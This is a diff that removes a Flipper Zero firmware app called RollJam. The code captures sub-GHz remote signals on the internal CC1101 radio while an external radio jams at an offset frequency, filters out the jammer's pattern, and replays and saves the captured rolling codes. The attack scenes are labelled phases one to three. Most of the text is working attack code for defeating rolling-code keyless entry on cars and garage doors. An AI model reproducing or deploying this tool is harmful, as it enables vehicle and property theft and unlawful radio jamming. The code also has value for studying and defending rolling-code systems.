-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// TX OOK
-static const uint8_t preset_ook_tx[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x07,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x17,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-static const uint8_t preset_fsk_tx_238[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x15,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-static const uint8_t preset_fsk_tx_476[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x47,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// ============================================================
-// Capture state machine
-// ============================================================
-
-#define MIN_PULSE_US           100
-#define MAX_PULSE_US           32767
-#define SILENCE_GAP_US         50000
-#define MIN_FRAME_PULSES       40
-#define AUTO_ACCEPT_PULSES     300
-#define MAX_CONTINUOUS_SAMPLES 800
-
-static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
-    if(s->size < 20) return false;
-
-    // Calcular estadísticas una sola vez
-    int16_t max_abs = 0;
-    int64_t sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
-        if(v > max_abs) max_abs = v;
-        sum += v;
-    }
-    int32_t mean = (int32_t)(sum / (int64_t)s->size);
-
-    FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
-               mod_index, max_abs, mean, (int)s->size);
-
-    if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
-        if((int)s->size < 120) {
-            FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
-            return true;
-        }
-        return false;
-    }
-
-    if(max_abs < 25000) {
-        FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
-        return true;
-    }
-
-    if(mod_index == 1) { // ModIndex_AM270=1
-        if(mean < 3000) {
-            FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
-            return true;
-        }
-    }
-
-    return false;
-}
-
-
-
-#define MIN_VARIANCE 2000
-
-static bool rolljam_has_sufficient_variance(RawSignal* s) {
-    if(s->size < 20) return false;
-
-    int64_t sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t val = s->data[i];
-        sum += (val > 0) ? val : -val;
-    }
-    int32_t mean = (int32_t)(sum / (int64_t)s->size);
-
-    int64_t var_sum = 0;
-    for(size_t i = 0; i < s->size; i++) {
-        int16_t val = s->data[i];
-        int32_t abs_val = (val > 0) ? val : -val;
-        int32_t diff = abs_val - mean;
-        var_sum += (int64_t)diff * diff;
-    }
-    int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
-
-    bool has_var = (variance > MIN_VARIANCE);
-    FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
-               mean, variance, has_var ? "PASS" : "FAIL");
-    return has_var;
-}
-
-typedef enum {
-    CapWaiting,
-    CapRecording,
-    CapDone,
-} CapState;
-
-typedef struct {
-    volatile CapState state;
-    volatile int      valid_count;
-    volatile int      total_count;
-    volatile bool     target_first;
-    volatile uint32_t callback_count;
-    volatile uint32_t continuous_count;
-    float             rssi_baseline;
-    uint8_t           mod_index;
-} CapCtx;
-
-static CapCtx g_cap;
-
-static void cap_ctx_reset(CapCtx* c) {
-    c->state            = CapWaiting;
-    c->valid_count      = 0;
-    c->total_count      = 0;
-    c->callback_count   = 0;
-    c->continuous_count = 0;
-}
-
-static void capture_rx_callback(bool level, uint32_t duration, void* context) {
-    RollJamApp* app = context;
-
-    if(!app->raw_capture_active) return;
-    if(g_cap.state == CapDone)   return;
-
-    g_cap.callback_count++;
-
-    RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
-    if(target->valid) return;
-
-    uint32_t dur = duration;
-    bool is_silence    = (dur > SILENCE_GAP_US);
-    bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
-    if(dur > 32767) dur = 32767;
-
-    switch(g_cap.state) {
-    case CapWaiting:
-        g_cap.continuous_count = 0;
-        if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
-            target->size        = 0;
-            g_cap.valid_count   = 0;
-            g_cap.total_count   = 0;
-            g_cap.state         = CapRecording;
-            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
-            target->data[target->size++] = s;
-            g_cap.valid_count++;
-            g_cap.total_count++;
-            g_cap.continuous_count = 1;
-        }
-        break;
-
-    case CapRecording:
-        g_cap.continuous_count++;
-
-        if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
-            target->size = 0;
-            cap_ctx_reset(&g_cap);
-            return;
-        }
-
-        if(target->size >= RAW_SIGNAL_MAX_SIZE) {
-            g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
-            if(g_cap.state == CapWaiting) {
-                target->size = 0;
-                g_cap.valid_count     = 0;
-                g_cap.total_count     = 0;
-                g_cap.continuous_count = 0;
-            }
-            return;
-        }
-
-        if(is_silence) {
-            if(g_cap.valid_count >= MIN_FRAME_PULSES) {
-                if(target->size < RAW_SIGNAL_MAX_SIZE)
-                    target->data[target->size++] = level ? (int16_t)32767 : -32767;
-                g_cap.state = CapDone;
-            } else {
-                target->size = 0;
-                cap_ctx_reset(&g_cap);
-            }
-            return;
-        }
-
-        if(is_medium_gap) g_cap.continuous_count = 0;
-
-        {
-            int16_t s = level ? (int16_t)dur : -(int16_t)dur;
-            target->data[target->size++] = s;
-            g_cap.total_count++;
-            if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
-                g_cap.valid_count++;
-                if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
-                    g_cap.state = CapDone;
-            }
-        }
-        break;
-
-    case CapDone:
-        break;
-    }
-}
-
-// ============================================================
-// Capture start/stop
-// ============================================================
-
-void rolljam_capture_start(RollJamApp* app) {
-    FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
-               app->frequency, app->mod_index, app->jam_offset_hz);
-
-    const uint8_t* src_preset;
-    switch(app->mod_index) {
-    case ModIndex_AM270: src_preset = preset_ook_270_async;  break;
-    case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
-    case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
-    default:             src_preset = preset_ook_650_async;  break;
-    }
-
-    furi_hal_subghz_load_custom_preset(src_preset);
-    furi_delay_ms(5);
-
-    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
-    FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
-    furi_delay_ms(5);
-
-    furi_hal_subghz_rx();
-    furi_delay_ms(50);
-    float rssi_baseline = furi_hal_subghz_get_rssi();
-    g_cap.rssi_baseline = rssi_baseline;
-    FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
-
-    furi_hal_subghz_idle();
-    furi_delay_ms(5);
-
-    cap_ctx_reset(&g_cap);
-
-    if(!app->signal_first.valid) {
-        g_cap.target_first      = true;
-        app->signal_first.size  = 0;
-        app->signal_first.valid = false;
-        FURI_LOG_I(TAG, "Capture target: FIRST signal");
-    } else {
-        g_cap.target_first       = false;
-        app->signal_second.size  = 0;
-        app->signal_second.valid = false;
-        FURI_LOG_I(TAG, "Capture target: SECOND signal");
-    }
-
-    g_cap.mod_index = app->mod_index;
-    app->raw_capture_active = true;
-    furi_hal_subghz_start_async_rx(capture_rx_callback, app);
-    FURI_LOG_I(TAG, "Capture: RX STARTED");
-}
-
-void rolljam_capture_stop(RollJamApp* app) {
-    if(!app->raw_capture_active) {
-        FURI_LOG_W(TAG, "Capture stop: was not active");
-        return;
-    }
-    app->raw_capture_active = false;
-    furi_hal_subghz_stop_async_rx();
-    furi_delay_ms(5);
-    FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
-               g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
-    FURI_LOG_I(TAG, "  Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
-    FURI_LOG_I(TAG, "  Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
-}
-
-// ============================================================
-// Validation
-// ============================================================
-
-bool rolljam_signal_is_valid(RawSignal* signal) {
-    if(g_cap.state != CapDone) {
-        static int check_count = 0;
-        check_count++;
-        if(check_count % 10 == 0)
-            FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
-                       g_cap.state, g_cap.callback_count,
-                       g_cap.valid_count, g_cap.total_count, (int)signal->size);
-        return false;
-    }
-
-    if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
-
-    if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
-        signal->size = 0;
-        cap_ctx_reset(&g_cap);
-        return false;
-    }
-
-    if(!rolljam_has_sufficient_variance(signal)) {
-        signal->size = 0;
-        cap_ctx_reset(&g_cap);
-        return false;
-    }
-
-    int good  = 0;
-    int total = (int)signal->size;
-    for(int i = 0; i < total; i++) {
-        int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
-        if(abs_val >= MIN_PULSE_US) good++;
-    }
-    int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
-
-    if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
-        FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
-        return true;
-    }
-
-    FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
-    signal->size = 0;
-    cap_ctx_reset(&g_cap);
-    return false;
-}
-
-// ============================================================
-// Signal cleanup
-// ============================================================
-
-void rolljam_signal_cleanup(RawSignal* signal) {
-    if(signal->size < (size_t)MIN_FRAME_PULSES) return;
-
-    int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
-    if(!cleaned) return;
-    size_t out = 0;
-
-    size_t start = 0;
-    while(start < signal->size) {
-        int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
-        if(abs_val >= MIN_PULSE_US) break;
-        start++;
-    }
-
-    for(size_t i = start; i < signal->size; i++) {
-        int16_t val      = signal->data[i];
-        int16_t abs_val  = val > 0 ? val : -val;
-        bool is_positive = (val > 0);
-
-        if(abs_val < MIN_PULSE_US) {
-            if(out > 0) {
-                int16_t prev       = cleaned[out - 1];
-                bool prev_positive = (prev > 0);
-                int16_t prev_abs   = prev > 0 ? prev : -prev;
-                if(prev_positive == is_positive) {
-                    int32_t merged = (int32_t)prev_abs + abs_val;
-                    if(merged > 32767) merged = 32767;
-                    cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
-                }
-            }
-            continue;
-        }
-
-        int32_t q = ((abs_val + 50) / 100) * 100;
-        if(q < MIN_PULSE_US) q = MIN_PULSE_US;
-        if(q > 32767) q = 32767;
-
-        if(out < RAW_SIGNAL_MAX_SIZE)
-            cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
-    }
-
-    while(out > 0) {
-        int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
-        if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
-        out--;
-    }
-
-    if(out >= (size_t)MIN_FRAME_PULSES) {
-        size_t orig = signal->size;
-        memcpy(signal->data, cleaned, out * sizeof(int16_t));
-        signal->size = out;
-        FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
-    }
-    free(cleaned);
-}
-
-// ============================================================
-// TX
-// ============================================================
-
-typedef struct {
-    const int16_t*  data;
-    size_t          size;
-    volatile size_t index;
-} TxCtx;
-
-static TxCtx g_tx;
-
-static LevelDuration tx_feed(void* context) {
-    UNUSED(context);
-    if(g_tx.index >= g_tx.size) return level_duration_reset();
-    int16_t sample = g_tx.data[g_tx.index++];
-    bool     level = (sample > 0);
-    uint32_t dur   = (uint32_t)(sample > 0 ? sample : -sample);
-    return level_duration_make(level, dur);
-}
-
-void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
-    if(!signal->valid || signal->size == 0) {
-        FURI_LOG_E(TAG, "TX: no valid signal");
-        return;
-    }
-    FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
-
-    const uint8_t* tx_src;
-    switch(app->mod_index) {
-    case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
-    case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
-    default:             tx_src = preset_ook_tx;     break;
-    }
-    furi_hal_subghz_load_custom_preset(tx_src);
-    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
-    FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
-    furi_hal_subghz_idle();
-    furi_delay_ms(5);
-
-    for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
-        g_tx.data  = signal->data;
-        g_tx.size  = signal->size;
-        g_tx.index = 0;
-
-        if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
-            FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
-            furi_hal_subghz_idle();
-            return;
-        }
-
-        uint32_t timeout = 0;
-        while(!furi_hal_subghz_is_async_tx_complete()) {
-            furi_delay_ms(5);
-            if(++timeout > 2000) {
-                FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
-                break;
-            }
-        }
-        furi_hal_subghz_stop_async_tx();
-        FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
-                   tx_repeat, (int)g_tx.index, (int)signal->size);
-        if(tx_repeat < 2) furi_delay_ms(50);
-    }
-    furi_hal_subghz_idle();
-    FURI_LOG_I(TAG, "TX: all repeats done");
-}
-
-// ============================================================
-// Save
-// ============================================================
-
-void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
-    if(!signal->valid || signal->size == 0) {
-        FURI_LOG_E(TAG, "Save: no signal");
-        return;
-    }
-
-    DateTime dt;
-    furi_hal_rtc_get_datetime(&dt);
-
-    FuriString* path = furi_string_alloc_printf(
-        "/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
-        dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
-
-    FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
-
-    Storage* storage = furi_record_open(RECORD_STORAGE);
-    storage_simply_mkdir(storage, "/ext/subghz");
-    File* file = storage_file_alloc(storage);
-
-    if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
-        FuriString* line = furi_string_alloc();
-
-        furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Version: 1\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Frequency: %lu\n", app->frequency);
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
-        const char* pname;
-        switch(app->mod_index) {
-        case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async";     break;
-        case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
-        case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
-        default:             pname = "FuriHalSubGhzPresetOok650Async";     break;
-        }
-        furi_string_printf(line, "Preset: %s\n", pname);
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        furi_string_printf(line, "Protocol: RAW\n");
-        storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
-        size_t i = 0;
-        while(i < signal->size) {
-            furi_string_set(line, "RAW_Data:");
-            size_t end = i + 512;
-            if(end > signal->size) end = signal->size;
-            for(; i < end; i++)
-                furi_string_cat_printf(line, " %d", signal->data[i]);
-            furi_string_cat(line, "\n");
-            storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-        }
-        furi_string_free(line);
-        FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
-    } else {
-        FURI_LOG_E(TAG, "Save failed!");
-    }
-
-    storage_file_close(file);
-    storage_file_free(file);
-    furi_record_close(RECORD_STORAGE);
-    furi_string_free(path);
-}

applications/main/RollJam/helpers/rolljam_receiver.h

@@ -1,25 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * Internal CC1101 raw signal capture and transmission.
- *
- * Capture: uses narrow RX bandwidth so the offset jamming
- *          from the external CC1101 is filtered out.
- *
- * The captured raw data is stored as signed int16 values:
- *   positive = high-level duration (microseconds)
- *   negative = low-level duration (microseconds)
- *
- * This matches the Flipper .sub RAW format.
- */
-
-void rolljam_capture_start(RollJamApp* app);
-void rolljam_capture_stop(RollJamApp* app);
-
-bool rolljam_signal_is_valid(RawSignal* signal);
-
-void rolljam_signal_cleanup(RawSignal* signal);
-void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
-void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

applications/main/RollJam/readme.md

@@ -1,21 +0,0 @@
-applications_user/rolljam/
-├── application.fam
-├── rolljam.png          (icon 10x10)
-├── rolljam.c
-├── rolljam_icons.h
-├── scenes/
-│   ├── rolljam_scene.h
-│   ├── rolljam_scene_config.h
-│   ├── rolljam_scene_menu.c
-│   ├── rolljam_scene_attack_phase1.c
-│   ├── rolljam_scene_attack_phase2.c
-│   ├── rolljam_scene_attack_phase3.c
-│   └── rolljam_scene_result.c
-├── helpers/
-│   ├── rolljam_cc1101_ext.h
-│   ├── rolljam_cc1101_ext.c
-│   ├── rolljam_receiver.h
-│   └── rolljam_receiver.c
-└── views/
-    ├── rolljam_attack_view.h
-    └── rolljam_attack_view.c

applications/main/RollJam/rolljam.c

@@ -1,232 +0,0 @@
-#include "rolljam.h"
-#include "scenes/rolljam_scene.h"
-#include "helpers/rolljam_cc1101_ext.h"
-#include "helpers/rolljam_receiver.h"
-#include "helpers/rolljam_cc1101_ext.h"
-
-// ============================================================
-// Frequency / modulation tables
-// ============================================================
-
-const uint32_t freq_values[] = {
-    300000000,
-    303875000,
-    315000000,
-    318000000,
-    390000000,
-    433075000,
-    433920000,
-    434420000,
-    438900000,
-    868350000,
-    915000000,
-};
-
-const char* freq_names[] = {
-    "300.00",
-    "303.87",
-    "315.00",
-    "318.00",
-    "390.00",
-    "433.07",
-    "433.92",
-    "434.42",
-    "438.90",
-    "868.35",
-    "915.00",
-};
-
-const char* mod_names[] = {
-    "AM 650",
-    "AM 270",
-    "FM 238",
-    "FM 476",
-};
-
-const uint32_t jam_offset_values[] = {
-    300000,
-    500000,
-    700000,
-    1000000,
-};
-
-const char* jam_offset_names[] = {
-    "300 kHz",
-    "500 kHz",
-    "700 kHz",
-    "1000 kHz",
-};
-
-const char* hw_names[] = {
-    "CC1101",
-    "Flux Cap",
-};
-
-// ============================================================
-// Scene handlers table (extern declarations in scene header)
-// ============================================================
-
-void (*const rolljam_scene_on_enter_handlers[])(void*) = {
-    rolljam_scene_menu_on_enter,
-    rolljam_scene_attack_phase1_on_enter,
-    rolljam_scene_attack_phase2_on_enter,
-    rolljam_scene_attack_phase3_on_enter,
-    rolljam_scene_result_on_enter,
-};
-
-bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
-    rolljam_scene_menu_on_event,
-    rolljam_scene_attack_phase1_on_event,
-    rolljam_scene_attack_phase2_on_event,
-    rolljam_scene_attack_phase3_on_event,
-    rolljam_scene_result_on_event,
-};
-
-void (*const rolljam_scene_on_exit_handlers[])(void*) = {
-    rolljam_scene_menu_on_exit,
-    rolljam_scene_attack_phase1_on_exit,
-    rolljam_scene_attack_phase2_on_exit,
-    rolljam_scene_attack_phase3_on_exit,
-    rolljam_scene_result_on_exit,
-};
-
-const SceneManagerHandlers rolljam_scene_handlers = {
-    .on_enter_handlers = rolljam_scene_on_enter_handlers,
-    .on_event_handlers = rolljam_scene_on_event_handlers,
-    .on_exit_handlers = rolljam_scene_on_exit_handlers,
-    .scene_num = RollJamSceneCount,
-};
-
-// ============================================================
-// Navigation callbacks
-// ============================================================
-
-static bool rolljam_navigation_callback(void* context) {
-    RollJamApp* app = context;
-    return scene_manager_handle_back_event(app->scene_manager);
-}
-
-static bool rolljam_custom_event_callback(void* context, uint32_t event) {
-    RollJamApp* app = context;
-    return scene_manager_handle_custom_event(app->scene_manager, event);
-}
-
-// ============================================================
-// App alloc
-// ============================================================
-
-static RollJamApp* rolljam_app_alloc(void) {
-    RollJamApp* app = malloc(sizeof(RollJamApp));
-    memset(app, 0, sizeof(RollJamApp));
-
-    app->freq_index = FreqIndex_433_92;
-    app->frequency = freq_values[FreqIndex_433_92];
-    app->mod_index = ModIndex_AM650;
-    app->jam_offset_index = JamOffIndex_700k;
-    app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
-    app->hw_index = HwIndex_CC1101;
-
-    // Services
-    app->gui = furi_record_open(RECORD_GUI);
-    app->notification = furi_record_open(RECORD_NOTIFICATION);
-    app->storage = furi_record_open(RECORD_STORAGE);
-
-    // Scene manager
-    app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
-
-    // View dispatcher
-    app->view_dispatcher = view_dispatcher_alloc();
-    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
-    view_dispatcher_set_custom_event_callback(
-        app->view_dispatcher, rolljam_custom_event_callback);
-    view_dispatcher_set_navigation_event_callback(
-        app->view_dispatcher, rolljam_navigation_callback);
-    view_dispatcher_attach_to_gui(
-        app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
-
-    // Variable item list
-    app->var_item_list = variable_item_list_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewVarItemList,
-        variable_item_list_get_view(app->var_item_list));
-
-    // Widget
-    app->widget = widget_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewWidget,
-        widget_get_view(app->widget));
-
-    // Dialog
-    app->dialog_ex = dialog_ex_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewDialogEx,
-        dialog_ex_get_view(app->dialog_ex));
-
-    // Popup
-    app->popup = popup_alloc();
-    view_dispatcher_add_view(
-        app->view_dispatcher,
-        RollJamViewPopup,
-        popup_get_view(app->popup));
-
-    return app;
-}
-
-// ============================================================
-// App free
-// ============================================================
-
-static void rolljam_app_free(RollJamApp* app) {
-    if(app->jamming_active) {
-        rolljam_jammer_stop(app);
-    }
-    if(app->raw_capture_active) {
-        rolljam_capture_stop(app);
-    }
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
-    variable_item_list_free(app->var_item_list);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
-    widget_free(app->widget);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
-    dialog_ex_free(app->dialog_ex);
-
-    view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
-    popup_free(app->popup);
-
-    scene_manager_free(app->scene_manager);
-    view_dispatcher_free(app->view_dispatcher);
-
-    furi_record_close(RECORD_GUI);
-    furi_record_close(RECORD_NOTIFICATION);
-    furi_record_close(RECORD_STORAGE);
-
-    free(app);
-}
-
-// ============================================================
-// Entry point
-// ============================================================
-
-int32_t rolljam_app(void* p) {
-    UNUSED(p);
-
-    RollJamApp* app = rolljam_app_alloc();
-
-    FURI_LOG_I(TAG, "=== RollJam Started ===");
-    FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
-    FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
-
-    scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
-    view_dispatcher_run(app->view_dispatcher);
-
-    rolljam_app_free(app);
-
-    FURI_LOG_I(TAG, "=== RollJam Stopped ===");
-    return 0;
-}

applications/main/RollJam/rolljam.h

@@ -1,158 +0,0 @@
-#pragma once
-
-#include <furi.h>
-#include <furi_hal.h>
-#include <gui/gui.h>
-#include <gui/view_dispatcher.h>
-#include <gui/scene_manager.h>
-#include <gui/modules/submenu.h>
-#include <gui/modules/popup.h>
-#include <gui/modules/variable_item_list.h>
-#include <gui/modules/widget.h>
-#include <gui/modules/dialog_ex.h>
-#include <notification/notification.h>
-#include <notification/notification_messages.h>
-#include <storage/storage.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define TAG "RollJam"
-
-#define RAW_SIGNAL_MAX_SIZE 4096
-
-// ============================================================
-// Frequencies
-// ============================================================
-typedef enum {
-    FreqIndex_300_00 = 0,
-    FreqIndex_303_87,
-    FreqIndex_315_00,
-    FreqIndex_318_00,
-    FreqIndex_390_00,
-    FreqIndex_433_07,
-    FreqIndex_433_92,
-    FreqIndex_434_42,
-    FreqIndex_438_90,
-    FreqIndex_868_35,
-    FreqIndex_915_00,
-    FreqIndex_COUNT,
-} FreqIndex;
-
-extern const uint32_t freq_values[];
-extern const char* freq_names[];
-
-// ============================================================
-// Modulations
-// ============================================================
-typedef enum {
-    ModIndex_AM650 = 0,
-    ModIndex_AM270,
-    ModIndex_FM238,
-    ModIndex_FM476,
-    ModIndex_COUNT,
-} ModIndex;
-
-extern const char* mod_names[];
-
-// ============================================================
-// Jam offsets
-// ============================================================
-typedef enum {
-    JamOffIndex_300k = 0,
-    JamOffIndex_500k,
-    JamOffIndex_700k,
-    JamOffIndex_1000k,
-    JamOffIndex_COUNT,
-} JamOffIndex;
-
-extern const uint32_t jam_offset_values[];
-extern const char* jam_offset_names[];
-
-// ============================================================
-// Hardware type
-// ============================================================
-typedef enum {
-    HwIndex_CC1101 = 0,
-    HwIndex_FluxCapacitor,
-    HwIndex_COUNT,
-} HwIndex;
-
-extern const char* hw_names[];
-
-// ============================================================
-// Scenes
-// ============================================================
-typedef enum {
-    RollJamSceneMenu,
-    RollJamSceneAttackPhase1,
-    RollJamSceneAttackPhase2,
-    RollJamSceneAttackPhase3,
-    RollJamSceneResult,
-    RollJamSceneCount,
-} RollJamScene;
-
-// ============================================================
-// Views
-// ============================================================
-typedef enum {
-    RollJamViewVarItemList,
-    RollJamViewWidget,
-    RollJamViewDialogEx,
-    RollJamViewPopup,
-} RollJamView;
-
-// ============================================================
-// Custom events
-// ============================================================
-typedef enum {
-    RollJamEventStartAttack = 100,
-    RollJamEventSignalCaptured,
-    RollJamEventPhase3Done,
-    RollJamEventReplayNow,
-    RollJamEventSaveSignal,
-    RollJamEventBack,
-} RollJamEvent;
-
-// ============================================================
-// Raw signal container
-// ============================================================
-typedef struct {
-    int16_t data[RAW_SIGNAL_MAX_SIZE];
-    size_t size;
-    bool valid;
-} RawSignal;
-
-// ============================================================
-// Main app struct
-// ============================================================
-typedef struct {
-    Gui* gui;
-    ViewDispatcher* view_dispatcher;
-    SceneManager* scene_manager;
-    NotificationApp* notification;
-    Storage* storage;
-
-    VariableItemList* var_item_list;
-    Widget* widget;
-    DialogEx* dialog_ex;
-    Popup* popup;
-
-    FreqIndex freq_index;
-    ModIndex mod_index;
-    JamOffIndex jam_offset_index;
-    HwIndex hw_index;
-    uint32_t frequency;
-    uint32_t jam_frequency;
-    uint32_t jam_offset_hz;
-
-    RawSignal signal_first;
-    RawSignal signal_second;
-
-    bool jamming_active;
-    FuriThread* jam_thread;
-    volatile bool jam_thread_running;
-
-    volatile bool raw_capture_active;
-
-
-} RollJamApp;

applications/main/RollJam/rolljam_icons.h

@@ -1,9 +0,0 @@
-#pragma once
-
-// Icon assets are auto-generated by the build system
-// from the images/ folder. If no custom icons are needed,
-// this file can remain minimal.
-
